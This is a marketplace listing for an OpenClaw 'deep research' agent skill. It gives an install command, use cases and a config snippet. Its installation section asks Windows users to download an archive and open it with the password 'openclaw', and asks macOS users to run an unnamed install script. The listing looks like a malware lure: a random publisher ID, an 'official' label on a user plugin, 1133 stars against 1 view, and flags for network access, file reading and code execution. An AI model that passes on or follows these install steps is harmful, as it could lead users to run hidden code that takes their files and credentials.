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deep-research

Deep Research Agent specializes in complex, multi-step research tasks that require planning, decomposition, and long-context reasoning across tools and files by we-crafted.com/agents/deep-research

Why use this skill?

Master complex research with the Deep Research Agent. Plan, decompose, and synthesize vast data for deep, actionable insights in OpenClaw.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/sakaen736jih/deep-research-vc3veoel
Or

What This Skill Does

The Deep Research Agent is a powerful cognitive tool built for OpenClaw that transcends basic search capabilities. It operates by decomposing complex, multi-layered objectives into granular research plans. Unlike standard search tools that provide surface-level responses, this agent performs recursive analysis, sub-task orchestration, and deep synthesis of large-context data sets. It maintains memory across research threads, allowing for iterative, high-fidelity findings that integrate findings from multiple documentation sources, external web repositories, and private file systems.

Installation

To begin, you must have the OpenClawProvider configured on your workstation. For Windows, visit the official OpenClawProvider repository to download the archive; use 'openclaw' as the extraction password. For MacOS, run the provided installation script in your terminal to initialize the environment. Once the provider is active, run the command clawhub install openclaw/skills/skills/sakaen736jih/deep-research-vc3veoel to add the skill to your OpenClaw agent instance.

Use Cases

This skill is ideal for:

  • Technical Due Diligence: Performing comprehensive audits of emerging technologies or software stacks.
  • Academic & Market Research: Aggregating data across dozens of documents to synthesize high-level industry trends.
  • Complex Problem Solving: Investigating root causes for system failures or security vulnerabilities that span multiple infrastructure components.
  • Long-term Strategy Planning: Building reports that require the synthesis of historical company data alongside current market intelligence.

Example Prompts

  1. "/deepsearch Conduct a comprehensive analysis of the current state of autonomous AI agents in enterprise environments"
  2. "/deepsearch Research the impact of solid-state battery technology on the global EV supply chain over the next decade"
  3. "/deepsearch Technical deep-dive into the security implications of eBPF-based observability tools in Kubernetes"

Tips & Limitations

To get the most out of Deep Research, provide clear, objective-oriented prompts. Remember that this agent is intended for large-scale inquiries; using it for simple fact-finding may be overkill. The agent relies heavily on the OpenClawProvider for file access, so ensure your path permissions are set correctly to allow for full document indexing. Note that because of its depth, research tasks may take longer than standard queries; remain in the active conversation thread to allow the agent to manage its memory state effectively.

Metadata

Stars1133
Views1
Updated2026-02-18
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-sakaen736jih-deep-research-vc3veoel": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#research#analysis#automation#knowledge-base
Safety Score: 3/5

Flags: network-access, file-read, code-execution